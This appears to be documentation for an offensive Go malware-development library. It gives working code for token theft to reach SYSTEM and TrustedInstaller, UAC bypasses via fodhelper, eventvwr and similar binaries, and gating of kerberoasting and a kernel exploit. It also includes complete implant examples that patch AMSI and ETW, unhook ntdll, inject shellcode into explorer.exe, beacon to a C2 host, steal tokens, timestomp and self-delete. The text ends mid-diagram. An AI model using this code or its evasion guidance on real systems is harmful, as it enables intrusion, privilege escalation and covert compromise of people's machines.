LogonUserWcreates logon events (Event ID 4624) in the Security log - Single thread: Only the locked OS thread is impersonated -- other goroutines run as the original user
Composable Elevation
The impersonate package provides composable elevation primitives that chain
together: ImpersonateByPID is the building block, GetSystem uses it to
reach SYSTEM via winlogon.exe, and GetTrustedInstaller composes GetSystem
with the TrustedInstaller service to reach the highest privilege level.
All three follow the callback pattern -- the elevated identity is scoped to the callback and automatically reverted when it returns.
ImpersonateByPID
Steal and impersonate the token of any process by PID. Requires SeDebugPrivilege for cross-session processes.
import "github.com/oioio-space/maldev/win/impersonate"
// Impersonate the token of PID 1234
err := impersonate.ImpersonateByPID(1234, func() error {
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
return nil
})
GetSystem
Elevate to NT AUTHORITY\SYSTEM by stealing the winlogon.exe token. Requires admin + SeDebugPrivilege.
err := impersonate.GetSystem(func() error {
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
// NT AUTHORITY\SYSTEM — full kernel-level access
return nil
})
GetTrustedInstaller
Elevate to NT SERVICE\TrustedInstaller -- the highest privilege level on
Windows. Internally composes GetSystem (to open the TI service process)
with ImpersonateByPID (to steal the TI token). Requires admin +
SeDebugPrivilege.
err := impersonate.GetTrustedInstaller(func() error {
user, _, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\n", user) // TrustedInstaller
// Modify protected system files, registry keys, etc.
return nil
})
Composition Example
// Chain: admin -> SYSTEM -> TrustedInstaller -> back to admin
// All within a single function call
err := impersonate.GetTrustedInstaller(func() error {
// Delete a protected system file
return os.Remove(`C:\Windows\System32\protected.dll`)
})
// Thread has reverted to original identity here
API Reference
Functions
// ImpersonateThread runs callbackFunc under alternate credentials on a locked OS thread.
func ImpersonateThread(isInDomain bool, domain, username, password string, callbackFunc func() error) error
// ImpersonateByPID impersonates the given process and runs fn under its identity.
func ImpersonateByPID(pid uint32, fn func() error) error
// GetSystem runs fn under NT AUTHORITY\SYSTEM context (via winlogon.exe token).
func GetSystem(fn func() error) error
// GetTrustedInstaller runs fn under NT SERVICE\TrustedInstaller context.
func GetTrustedInstaller(fn func() error) error
// LogonUserW logs in a user and returns a token handle.
func LogonUserW(username, domain, password string, logonType LogonType, logonProvider LogonProvider) (windows.Token, error)
// ImpersonateLoggedOnUser impersonates a token on the current thread.
func ImpersonateLoggedOnUser(t windows.Token) error
// ThreadEffectiveTokenOwner returns the user/domain of the current thread's effective token.
func ThreadEffectiveTokenOwner() (user string, domain string, err error)
Logon Types
const (
LOGON32_LOGON_INTERACTIVE LogonType = 2
LOGON32_LOGON_NETWORK LogonType = 3
LOGON32_LOGON_BATCH LogonType = 4
LOGON32_LOGON_SERVICE LogonType = 5
LOGON32_LOGON_NEW_CREDENTIALS LogonType = 9
)
See also
- Tokens area README
tokens/token-theft.md— supplies the stolen handle this primitive impersonates withtokens/privilege-escalation.md— once impersonated, adjust privileges on the new context
Privilege Escalation
MITRE ATT&CK: T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control D3FEND: D3-UAP - User Account Profiling
Primer
Even if you have an administrator account on Windows, your processes run with limited privileges by default. User Account Control (UAC) prevents automatic elevation -- you need to explicitly "Run as administrator" for each program.
Convincing the system you are the boss so you can access everything. Privilege escalation bypasses UAC by exploiting auto-elevating Windows programs (like fodhelper.exe) that run as high-integrity without prompting. You hijack their behavior to execute your code with elevated privileges.
How It Works
Escalation Methods
flowchart TD
START["Need elevated\nprivileges"] --> Q1{"Have user\ncredentials?"}
Q1 -->|Yes| Q2{"Need separate\nprocess?"}
Q2 -->|"Yes (exec.Cmd)"| EXECAS["ExecAs()\nLogonUserW + SysProcAttr.Token"]
Q2 -->|"Yes (CreateProcess)"| LOGON["CreateProcessWithLogon()\nCreateProcessWithLogonW"]
Q2 -->|"No (same process)"| IMP["ImpersonateThread()\n(see impersonation.md)"]
Q1 -->|No| Q3{"UAC prompt\nacceptable?"}
Q3 -->|Yes| RUNAS["ShellExecuteRunAs()\n'runas' verb + UAC dialog"]
Q3 -->|No| Q4{"Which UAC\nbypass?"}
Q4 --> FOD["FODHelper()\nWin10+ CurVer hijack"]
Q4 --> SLUI["SLUI()\nexefile handler hijack"]
Q4 --> SILENT["SilentCleanup()\n%windir% env override"]
Q4 --> EVT["EventVwr()\nmscfile handler hijack"]
style EXECAS fill:#4a9,color:#fff
style LOGON fill:#49a,color:#fff
style RUNAS fill:#a94,color:#fff
style FOD fill:#94a,color:#fff
style SLUI fill:#94a,color:#fff
style SILENT fill:#94a,color:#fff
style EVT fill:#94a,color:#fff
UAC Bypass Mechanism (FODHelper Example)
sequenceDiagram
participant Implant as "Implant (Medium IL)"
participant Reg as "Registry (HKCU)"
participant Fod as "fodhelper.exe (Auto-elevate)"
participant Payload as "Payload (High IL)"
Implant->>Reg: Create key:<br>HKCU\Software\Classes\{random}\shell\open\command
Implant->>Reg: Set default value = "C:\payload.exe"
Implant->>Reg: Create key:<br>HKCU\Software\Classes\ms-settings\CurVer
Implant->>Reg: Set default value = "{random}"
Implant->>Fod: cmd.exe /C fodhelper.exe
Note over Fod: fodhelper.exe auto-elevates<br>(no UAC prompt)
Fod->>Reg: Read ms-settings handler<br>CurVer -> {random}
Reg-->>Fod: shell\open\command = "C:\payload.exe"
Fod->>Payload: Launch payload as High IL
Implant->>Reg: Clean up registry keys
Usage
ExecAs: Run a Process as Another User
import (
"context"
"github.com/oioio-space/maldev/win/privilege"
)
// Run cmd.exe as another user (returns exec.Cmd for lifetime management)
cmd, err := privilege.ExecAs(
context.Background(),
false, // not domain-joined
".", // local machine
"admin", // username
"Password123!", // password
"cmd.exe", // program
"/C", "whoami", // arguments
)
if err != nil {
log.Fatal(err)
}
// IMPORTANT: Wait to avoid leaking the child process handle
cmd.Wait()
CreateProcessWithLogon
import "github.com/oioio-space/maldev/win/privilege"
err := privilege.CreateProcessWithLogon(
"CORP", // domain
"admin", // username
"Password123!", // password
`C:\`, // working directory
"cmd.exe", // program
"/C", "whoami", // arguments
)
ShellExecuteRunAs (UAC Prompt)
import "github.com/oioio-space/maldev/win/privilege"
// Prompts a UAC dialog for elevation
err := privilege.ShellExecuteRunAs(
`C:\Windows\System32\cmd.exe`,
`C:\`,
"/C", "whoami /priv",
)
UAC Bypass: FODHelper
import "github.com/oioio-space/maldev/privesc/uac"
// Silently elevate via fodhelper.exe (Win10+, no UAC prompt)
err := uac.FODHelper(`C:\implant.exe`)
UAC Bypass: SilentCleanup
// Silently elevate via SilentCleanup scheduled task
err := uac.SilentCleanup(`C:\implant.exe`)
UAC Bypass: EventVwr
// Silently elevate via eventvwr.exe mscfile handler
err := uac.EventVwr(`C:\implant.exe`)
UAC Bypass: EventVwr with Alternate Credentials
// Elevate via eventvwr.exe using another user's credentials
err := uac.EventVwrLogon("CORP", "admin", "Password123!", `C:\implant.exe`)
Check Current Privileges
import "github.com/oioio-space/maldev/win/privilege"
admin, elevated, err := privilege.IsAdmin()
fmt.Printf("Admin group: %v, Elevated: %v\n", admin, elevated)
isMember, _ := privilege.IsAdminGroupMember()
fmt.Printf("Admin group member: %v\n", isMember)
Combined Example: Escalate + Inject
package main
import (
"fmt"
"log"
"os"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/privesc/uac"
"github.com/oioio-space/maldev/win/privilege"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// Check if already elevated
_, elevated, _ := privilege.IsAdmin()
if !elevated {
// Self-elevate via FODHelper UAC bypass
exePath, _ := os.Executable()
if err := uac.FODHelper(exePath); err != nil {
fmt.Println("UAC bypass failed, trying SLUI...")
_ = uac.SLUI(exePath)
}
return // original process exits, elevated copy continues
}
// Now running elevated -- perform injection via indirect syscalls.
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil { log.Fatal(err) }
shellcode := []byte{/* ... */}
if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}
Advantages & Limitations
Advantages
- Four UAC bypass methods: FODHelper, SLUI, SilentCleanup, EventVwr cover Win10/Win11
- Registry cleanup: All UAC bypass methods defer-delete their registry keys
- Hidden windows: All spawned processes use
SysProcAttr{HideWindow: true} - ExecAs returns exec.Cmd: Caller manages child process lifetime
- Domain + local support:
ExecAsadapts logon type for domain vs. local accounts
Limitations
- UAC bypasses are well-known: EDR products monitor registry keys used by these techniques
- Admin group required: UAC bypass only works for users already in the Administrators group
- Credential exposure:
ExecAsandCreateProcessWithLogonrequire plaintext passwords - EventVwr timing: 2-second sleep for eventvwr to read registry -- may fail under heavy load
- No PPID spoofing: Spawned processes show the real parent PID
API Reference
win/privilege
func IsAdmin() (admin bool, elevated bool, err error)
func IsAdminGroupMember() (bool, error)
func ExecAs(ctx context.Context, isInDomain bool, domain, username, password, path string, args ...string) (*exec.Cmd, error)
func CreateProcessWithLogon(domain, username, password, wd, path string, args ...string) error
func ShellExecuteRunAs(path, wd string, args ...string) error
privesc/uac
func FODHelper(path string) error
func SLUI(path string) error
func SilentCleanup(path string) error
func EventVwr(path string) error
func EventVwrLogon(domain, user, password, path string) error
See also
- Tokens area README
tokens/token-theft.md— capture an admin token first, then enable privileges on the duplicated handleprivesctechniques (index) — full UAC bypass + kernel exploit alternatives
Windows-platform primitives (win/*)
The win/* package tree is Layer 1: low-level Windows
primitives every higher-layer technique builds on. There is no
single "win technique" — the area is a foundation for the others.
flowchart TB
subgraph imports [Imports & syscalls]
API[win/api<br>PEB walk + ROR13 hash]
NTAPI[win/ntapi<br>typed Nt* wrappers]
SYSCALL[win/syscall<br>Direct/Indirect SSN]
end
subgraph identity [Token & identity]
TOK[win/token<br>steal · privileges · UBR]
IMP[win/impersonate<br>thread context swap]
PRIV[win/privilege<br>IsAdmin · ExecAs]
end
subgraph fingerprint [Host fingerprint]
VER[win/version<br>RtlGetVersion + UBR]
DOM[win/domain<br>NetGetJoinInformation]
end
API --> NTAPI
API --> SYSCALL
TOK --> IMP
IMP --> PRIV
VER --> GATE{technique<br>compatibility}
DOM --> GATE
Decision tree
| Operator question | Package | Pages |
|---|---|---|
| "Resolve a Windows API without a string in my binary." | win/api | api-hashing |
| "Call NtXxx through ntdll (skip kernel32 hooks)." | win/ntapi | syscalls/README |
| "Call NtXxx skipping ALL userland hooks." | win/syscall | direct-indirect, ssn-resolvers |
| "Steal a token from PID X." | win/token | token-theft |
"Run a callback as user@domain / SYSTEM / TI." | win/impersonate | impersonation |
| "Am I admin / elevated right now? Spawn as a different user?" | win/privilege | privilege-escalation |
| "What Windows build am I on? Is it patched for CVE-X?" | win/version | version |
| "Is this host workgroup or AD-joined?" | win/domain | domain |
Per-package pages
Pages owned by this directory:
- domain.md —
NetGetJoinInformationhost fingerprint. - version.md —
RtlGetVersion+ UBR + CVE-state probe.
Pages owned by sibling directories:
win/api—syscalls/api-hashing.mdwin/syscall—syscalls/direct-indirect.md,syscalls/ssn-resolvers.mdwin/ntapi—syscalls/README.mdwin/token—tokens/token-theft.mdwin/impersonate—tokens/impersonation.mdwin/privilege—tokens/privilege-escalation.md
MITRE ATT&CK rollup
| ID | Technique | Owners |
|---|---|---|
| T1106 | Native API | win/api, win/ntapi, win/syscall |
| T1027 | Obfuscated Files or Information | win/api (hash imports) |
| T1027.007 | Dynamic API Resolution | win/api, win/syscall (gates) |
| T1134 | Access Token Manipulation | win/token, win/impersonate, win/privilege |
| T1134.001 | Token Impersonation/Theft | win/token, win/impersonate |
| T1134.002 | Create Process with Token | win/privilege |
| T1078 | Valid Accounts | win/privilege (alt-creds spawn) |
| T1082 | System Information Discovery | win/version, win/domain |
| T1016 | System Network Configuration Discovery | win/domain (paired with recon/network) |
See also
docs/techniques/syscalls/— full syscall stack docsdocs/techniques/tokens/— token + identity docsdocs/architecture.md— layering rules
Domain-membership fingerprint
TL;DR
domain.Name() returns the local host's NetBIOS domain or workgroup
name plus a [JoinStatus] enum. One NetGetJoinInformation
round-trip — no LDAP, no DC contact, no privilege check. Use it to
gate domain-targeted post-exploitation flows.
[!NOTE] NetBIOS name only. For the FQDN, query LDAP via
recon/networkor read theDomain.UserNamefrom a Kerberos PAC.
Primer
Two questions a post-ex chain needs answered before lateral movement is worth attempting:
- Is this host part of an Active Directory domain? (Otherwise AD-targeted credentials and DC enumeration are dead-ends.)
- What is the domain name to seed those queries with?
NetGetJoinInformation answers both in a single call to the local
LSA over RPC — no network traffic leaves the host, no admin token
required. Mirror of what whoami /upn and dsregcmd /status do.
How it works
sequenceDiagram
Caller->>+netapi32: NetGetJoinInformation(NULL, &name, &status)
netapi32->>+LSA: query SAM domain info
LSA-->>-netapi32: domain/workgroup name + status
netapi32-->>-Caller: NetSetupDomainName / NetSetupWorkgroupName / ...
Caller->>netapi32: NetApiBufferFree(name)
Implementation:
- Call
syscall.NetGetJoinInformation(golang.org/x/sys/windows wrappingnetapi32!NetGetJoinInformation). - Convert the returned
*uint16to Go string. - Free the netapi-owned buffer with
NetApiBufferFree. - Return
(name, JoinStatus, error).
API Reference
type JoinStatus uint32
const (
StatusUnknown JoinStatus = 0 // NetSetupUnknownStatus
StatusUnjoined JoinStatus = 1 // NetSetupUnjoined
StatusWorkgroup JoinStatus = 2 // NetSetupWorkgroupName
StatusDomain JoinStatus = 3 // NetSetupDomainName
)
func (s JoinStatus) String() string
func Name() (string, JoinStatus, error)
Name() (string, JoinStatus, error)
Parameters: none.
Returns:
name— NetBIOS domain or workgroup name. Empty when status isStatusUnknownorStatusUnjoined.status— one of the fourStatus*constants.error— surface only when the netapi32 call itself fails (e.g.,RPC_S_SERVER_UNAVAILABLEon stripped-down OS images). On normal Windows hosts this never errors.
Side effects: none (the netapi32-allocated buffer is freed internally before return).
OPSEC: silent. NetGetJoinInformation is in every default
Windows binary's import resolution path; user-mode RPC to local LSA
generates no Sysmon event ID.
Examples
Simple — bail on workgroup
name, status, err := domain.Name()
if err != nil || status != domain.StatusDomain {
return // host is not domain-joined; abort domain-targeted ops
}
log.Printf("operating in domain %q", name)
Composed — gate kerberoasting
import (
"github.com/oioio-space/maldev/win/domain"
"github.com/oioio-space/maldev/credentials/kerberoast" // hypothetical
)
func TryKerberoast(targetSPN string) error {
_, status, _ := domain.Name()
if status != domain.StatusDomain {
return errors.New("kerberoast: not domain-joined")
}
return kerberoast.Roast(targetSPN)
}
Advanced — combine with version + sandbox gates
import (
"github.com/oioio-space/maldev/win/domain"
"github.com/oioio-space/maldev/win/version"
"github.com/oioio-space/maldev/recon/sandbox"
)
func ShouldExpand() bool {
if sandbox.IsLikely() {
return false // bail in analysis envs
}
if !version.AtLeast(version.WINDOWS_10_1809) {
return false // tooling assumes 1809+ APIs
}
_, status, _ := domain.Name()
return status == domain.StatusDomain
}
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
NetGetJoinInformation RPC | Not logged by default | None needed |
| Process integrity | Any user can call | None |
| Network traffic | Local LSA only — no DC contact | — |
This call is invisible to Sysmon, ETW Microsoft-Windows-Security provider, and AMSI. The detection floor is "did the implant exist" — this primitive adds no incremental signal.
MITRE ATT&CK
- T1082 (System Information Discovery) — domain-membership probe is a host-fingerprint primitive.
- T1016 (System Network Configuration Discovery) — when paired
with
recon/networkfor DC discovery.
Limitations
- NetBIOS name only — for FQDN use LDAP search (
(objectClass=domain)) viarecon/network. - Cached at machine boot — does not reflect a join/unjoin that has not been followed by reboot.
- No domain-trust enumeration — single-domain answer.
See also
win/version— companion host fingerprintrecon/sandbox— gate on environment shaperecon/network— LDAP / DNS expansion of the domain answer
Windows version & build probe
TL;DR
version.Current() returns the real running Windows version
including the UBR (Update Build Revision — the patch number
inside a build) by reading RtlGetVersion (kernel-side, manifest
shim free) plus HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion.
Used to gate technique selection — many syscall SSN tables, UAC
shims, and kernel exploits are build-specific.
[!IMPORTANT]
GetVersionExreturns the manifest-declared compatibility target, not the real OS version. On any process without an explicit manifest declaring Win10+ support,GetVersionExreports 6.2 (Win 8). Always useversion.Current()instead.
Primer
Windows version is more nuanced than Major.Minor.Build:
- Major.Minor.Build — kernel branch (e.g., 10.0.19045 = Win10 22H2).
- UBR — monthly patch level inside a build (19045.5189 = January 2025 cumulative).
- Edition — Pro / Enterprise / Server. Affects feature gates (Server-only WTSEnumerateSessions session 0).
- HVCI / VBS posture — gates BYOVD: HVCI-on hosts refuse the vulnerable-driver block-list before driver load.
For maldev technique selection the build + UBR are usually enough. Token-stealing techniques don't change between minor builds, but syscall SSN tables do, and kernel exploits like CVE-2024-30088 are gated on a UBR cut-off.
How it works
flowchart LR
Caller -->|RtlGetVersion| Ntdll
Caller -->|RegOpenKeyEx| Reg["HKLM\SOFTWARE\Microsoft\\Windows NT\CurrentVersion"]
Ntdll --> V["OsVersionInfoEx{Major, Minor, Build, ProductType}"]
Reg --> R["UBR (REG_DWORD)"]
V --> Out["Version{Major, Minor, Build, UBR, Edition}"]
R --> Out
Implementation:
version.Current()callsRtlGetVersiondirectly viagolang.org/x/sys/windows. The function readsKUSER_SHARED_DATA.NtProductType / NtMajorVersion / NtMinorVersion / NtBuildNumber— no manifest shim.version.readUBR()opensHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersionand reads theUBRREG_DWORD value.version.Windows()returns an [Info] struct combining both, plus a human-readableEditionstring ("Windows 10 22H2", "Windows Server 2022").version.AtLeast(target *Version)is the comparison operator used by callers.
API Reference
type Version windows.OsVersionInfoEx
func Current() *Version
func (wv *Version) String() string
func (wv *Version) IsLower(v *Version) bool
func (wv *Version) IsEqual(v *Version) bool
func (wv *Version) IsAtLeast(v *Version) bool
func AtLeast(v *Version) bool
type Info struct {
Major uint32
Minor uint32
Build uint32
Revision uint32 // UBR — patch number inside the build
Vulnerable bool // populated by CheckVersion / CVE checkers
Edition string // "Windows 10 22H2" — set by CVE checkers
}
func Windows() (*Info, error)
func CVE202430088() (*Info, error)
Constants: WINDOWS_7, WINDOWS_8, WINDOWS_8_1, WINDOWS_10_1507
… WINDOWS_10_22H2, WINDOWS_11_21H2 … WINDOWS_11_24H2,
WINDOWS_SERVER_2008 through WINDOWS_SERVER_2022_23H2.
Current() *Version
Returns: *Version populated from RtlGetVersion. Never nil —
on impossibly old kernels falls back to a zero Version{}.
AtLeast(target *Version) bool
Compare Major.Minor.Build (UBR not consulted — use the typed
IsAtLeast for UBR-aware comparison or call Windows() directly).
CVE202430088() (*Info, error)
Returns: *Info with Vulnerable=true when the running build
is in the CVE-2024-30088 window (Win10 1507–22H2, Win11 21H2–23H2,
Server 2016/2019/2022/2022 23H2 prior to June 2024 patch).
Examples
Simple — gate on Win10 1809+
v := version.Current()
if !version.AtLeast(version.WINDOWS_10_1809) {
return errors.New("technique requires Win10 1809 or later")
}
log.Printf("running on %s build %d.%d", v, v.BuildNumber, /* ubr */ 0)
Composed — UBR-aware patch gate
info, err := version.Windows()
if err != nil {
return err
}
const minPatchUBR = 5189 // 22H2 January 2025 CU
if info.Build == 19045 && info.Revision < minPatchUBR {
log.Println("host below required patch level")
}
Advanced — pre-flight a kernel exploit
info, err := version.CVE202430088()
if err != nil {
return err
}
if !info.Vulnerable {
return errors.New("host patched")
}
log.Printf("vulnerable: %s build %d.%d", info.Edition, info.Build, info.Revision)
return cve202430088.Run(ctx)
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
RtlGetVersion ntdll call | Not logged | None needed |
| Registry read of CurrentVersion | Not logged at default audit | None |
| Process behaviour | Identical to winver.exe | — |
RtlGetVersion and the CurrentVersion registry key are read by
practically every Windows program at startup. No incremental signal.
MITRE ATT&CK
- T1082 (System Information Discovery)
Limitations
- Edition string is hard-coded against a known build → SKU table. New SKUs (e.g., Server vNext) appear as "unknown" until the table is bumped.
- UBR read requires HKLM read access — rare to be denied in user-mode, but possible on hardened OOBE images.
- No HVCI / VBS detection — call
recon/sandboxhelpers if VBS posture matters for technique selection.
See also
win/domain— companion host fingerprintwin/syscall— build-gated SSN tablesprivesc/cve202430088— version-gated kernel exploit
Example: Basic Implant
A minimal implant that decrypts shellcode, applies evasion, and executes.
flowchart TD
A[Start] --> B[Apply evasion<br>AMSI + ETW + Unhook]
B --> C[Decrypt payload<br>AES-256-GCM]
C --> D[Self-inject<br>CreateThread]
D --> E[Sleep mask<br>Encrypted idle]
E --> D
Code
package main
import (
"context"
"time"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/evasion/sleepmask"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
// Encrypted payload (generated at build time)
var encPayload = []byte{/* ... */}
var aesKey = []byte{/* 32-byte key */}
func main() {
// 1. Create a Caller for stealthy syscalls
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))
// 2. Disable defenses
evasion.ApplyAll([]evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Full(),
}, caller)
// 3. Decrypt shellcode
shellcode, err := crypto.DecryptAESGCM(aesKey, encPayload)
if err != nil {
return
}
// 4. Self-inject via CreateThread
cfg := &inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
}
injector, _ := inject.NewWindowsInjector(cfg)
injector.Inject(shellcode)
// 5. Encrypted sleep loop (beacon behavior)
mask := sleepmask.New(sleepmask.Region{
Addr: 0, // set to shellcode address
Size: uintptr(len(shellcode)),
})
ctx := context.Background()
for {
mask.Sleep(ctx, 30*time.Second)
}
}
What This Example Demonstrates
| Step | Technique | Why |
|---|---|---|
| Caller | Indirect syscalls + HashGate | All NT calls bypass EDR hooks, no function names in binary |
| AMSI | Prologue patching | Disable script/buffer scanning |
| ETW | Event writer patching | Blind the telemetry system |
| Unhook | Full .text replacement | Remove all ntdll hooks at once |
| AES-GCM | Authenticated encryption | Shellcode encrypted at rest |
| CreateThread | Self-injection | Simplest local execution |
| Sleep mask | XOR + permission cycling | Defeat memory scanners during idle |
Build
# OPSEC release
make release BINARY=implant.exe CMD=.
Example: Evasive Remote Injection
Inject shellcode into a remote process using multiple OPSEC layers.
flowchart TD
A[Start] --> B[Clear HW breakpoints<br>Defeat CrowdStrike DR monitoring]
B --> C[Apply evasion<br>AMSI + ETW + Unhook]
C --> D[Decrypt payload<br>ChaCha20-Poly1305]
D --> E{Choose injection<br>based on target}
E -->|High stealth| F[Section mapping<br>No WriteProcessMemory]
E -->|File-backed| G[Module stomping<br>Trusted memory region]
E -->|No new thread| H[Callback execution<br>EnumWindows abuse]
F --> I[Cleanup memory]
G --> I
H --> I
Code: Section Mapping with Full Evasion Chain
package main
import (
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/recon/hwbp"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
var encPayload = []byte{/* ... */}
var key = []byte{/* 32-byte key */}
func main() {
// 1. Clear hardware breakpoints (defeats CrowdStrike-style DR monitoring)
hwbp.ClearAll()
// 2. Create indirect syscall Caller with API hashing (zero strings)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))
// 3. Apply evasion chain
evasion.ApplyAll([]evasion.Technique{
amsi.ScanBufferPatch(),
etw.All(),
unhook.Full(),
}, caller)
// 4. Decrypt
shellcode, _ := crypto.DecryptChaCha20(key, encPayload)
// 5. Inject via section mapping (no WriteProcessMemory)
targetPID := 1234 // e.g., found via process/enum
inject.SectionMapInject(targetPID, shellcode, caller)
}
Alternative: Module Stomping (File-Backed Memory)
// Shellcode lives in a legitimate DLL's .text section
// Memory scanners see file-backed image, not suspicious allocation
addr, _ := inject.ModuleStomp("msftedit.dll", shellcode)
Alternative: Callback Execution (Zero Thread Creation)
// Execute via EnumWindows callback — no CreateThread, no APC
// Runs on the current thread, invisible to thread-creation monitoring
inject.ExecuteCallback(addr, inject.CallbackEnumWindows)
Technique Comparison
| Technique | WriteProcessMemory | New Thread | File-Backed | Detection Level |
|---|---|---|---|---|
| CreateRemoteThread | Yes | Yes | No | High |
| Section Mapping | No | Yes | No | Medium |
| Module Stomping | Yes | No (self) | Yes | Low |
| Callback Execution | No (self) | No | No | Low |
| Thread Pool | No (self) | No | No | Low |
| Phantom DLL | Yes | Yes | Yes | Medium |
Example: Full Attack Chain
A complete implant lifecycle: reconnaissance → evasion → injection → persistence → cleanup.
flowchart TD
A[1. Recon] --> B[2. Evasion]
B --> C[3. Injection]
C --> D[4. C2 Communication]
D --> E[5. Post-Exploitation]
E --> F[6. Cleanup]
subgraph "1. Recon"
A1[Check Windows version]
A2[Detect VM/sandbox]
A3[Find target process]
end
subgraph "2. Evasion"
B1[Clear HW breakpoints]
B2[Unhook ntdll]
B3[Patch AMSI + ETW]
end
subgraph "3. Injection"
C1[Decrypt shellcode]
C2[Module stomp or<br>section map inject]
end
subgraph "4. C2"
D1[uTLS connection<br>Chrome JA3 fingerprint]
D2[Malleable HTTP<br>jQuery CDN profile]
end
subgraph "5. Post-Exploitation"
E1[Steal SYSTEM token]
E2[Impersonate user]
E3[Execute as admin]
end
subgraph "6. Cleanup"
F1[Wipe shellcode memory]
F2[Timestomp artifacts]
F3[Self-delete binary]
end
Code
package main
import (
"context"
"os"
"time"
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/cleanup/selfdelete"
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/amsi"
"github.com/oioio-space/maldev/recon/antivm"
"github.com/oioio-space/maldev/evasion/etw"
"github.com/oioio-space/maldev/recon/hwbp"
"github.com/oioio-space/maldev/recon/sandbox"
"github.com/oioio-space/maldev/recon/timing"
"github.com/oioio-space/maldev/evasion/unhook"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/process/enum"
"github.com/oioio-space/maldev/win/token"
winver "github.com/oioio-space/maldev/win/version"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// ── Phase 1: Reconnaissance ─────────────────────────────────
// Anti-sandbox: CPU burn defeats Sleep fast-forwarding
timing.BusyWaitTrig(200 * time.Millisecond)
// Check if we're in a VM
if vmName, _ := antivm.Detect(antivm.DefaultConfig()); vmName != "" {
os.Exit(0) // abort in VM
}
// Check sandbox indicators. IsSandboxed takes a context (so heavy probes
// like artifact scans can be cancelled) and returns (hit, reason, err).
checker := sandbox.New(sandbox.DefaultConfig())
if sandboxed, _, _ := checker.IsSandboxed(context.Background()); sandboxed {
os.Exit(0) // abort in sandbox
}
// Verify vulnerable Windows version (if exploiting CVE)
ver, _ := winver.Windows()
_ = ver // use for version-specific behavior
// ── Phase 2: Evasion ────────────────────────────────────────
// Clear hardware breakpoints (CrowdStrike, SentinelOne)
hwbp.ClearAll()
// Create indirect syscall Caller with API hashing
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()))
// Disable all defenses
evasion.ApplyAll([]evasion.Technique{
amsi.ScanBufferPatch(),
amsi.OpenSessionPatch(),
etw.All(),
unhook.Full(),
}, caller)
// ── Phase 3: Inject ─────────────────────────────────────────
// Decrypt shellcode (AES-256-GCM)
key := []byte{/* 32-byte key from build */}
shellcode, _ := crypto.DecryptAESGCM(key, []byte{/* encrypted payload */})
// Find target process
procs, _ := enum.FindByName("explorer.exe")
if len(procs) == 0 {
return
}
targetPID := int(procs[0].PID)
// Inject via section mapping (no WriteProcessMemory)
inject.SectionMapInject(targetPID, shellcode, caller)
// Cleanup shellcode from our memory
memory.SecureZero(shellcode)
// ── Phase 4: C2 Communication ───────────────────────────────
// Connect with Chrome JA3 fingerprint
c2 := transport.NewUTLS("c2.example.com:443", 30*time.Second,
transport.WithJA3Profile(transport.JA3Chrome),
transport.WithUTLSInsecure(true),
)
ctx := context.Background()
c2.Connect(ctx)
defer c2.Close()
// ── Phase 5: Post-Exploitation ──────────────────────────────
// Steal SYSTEM token from winlogon
tok, _ := token.StealByName("winlogon.exe")
if tok != nil {
defer tok.Close()
tok.EnableAllPrivileges()
// Use tok for elevated operations...
}
// ── Phase 6: Cleanup ────────────────────────────────────────
// Timestomp our binary to blend in
timestomp.SetFull(os.Args[0],
time.Date(2023, 6, 15, 10, 0, 0, 0, time.UTC),
time.Date(2023, 6, 15, 10, 0, 0, 0, time.UTC),
time.Date(2023, 6, 15, 10, 0, 0, 0, time.UTC),
)
// Self-delete the binary from disk
selfdelete.Run()
}
Phase-by-Phase Explanation
| Phase | Techniques Used | MITRE | Purpose |
|---|---|---|---|
| Recon | BusyWaitTrig, antivm, sandbox | T1497 | Abort if analyzed |
| Evasion | HW breakpoints, AMSI, ETW, unhook | T1562 | Blind the defenses |
| Inject | Section mapping + Caller | T1055 | Execute in target |
| C2 | uTLS + Chrome JA3 | T1573 | Covert communication |
| Post-Ex | Token theft + privilege | T1134 | Elevate to SYSTEM |
| Cleanup | Memory wipe, timestomp, self-delete | T1070 | Cover tracks |
OPSEC Layers Active
graph LR
subgraph "Binary Level"
A[garble obfuscation]
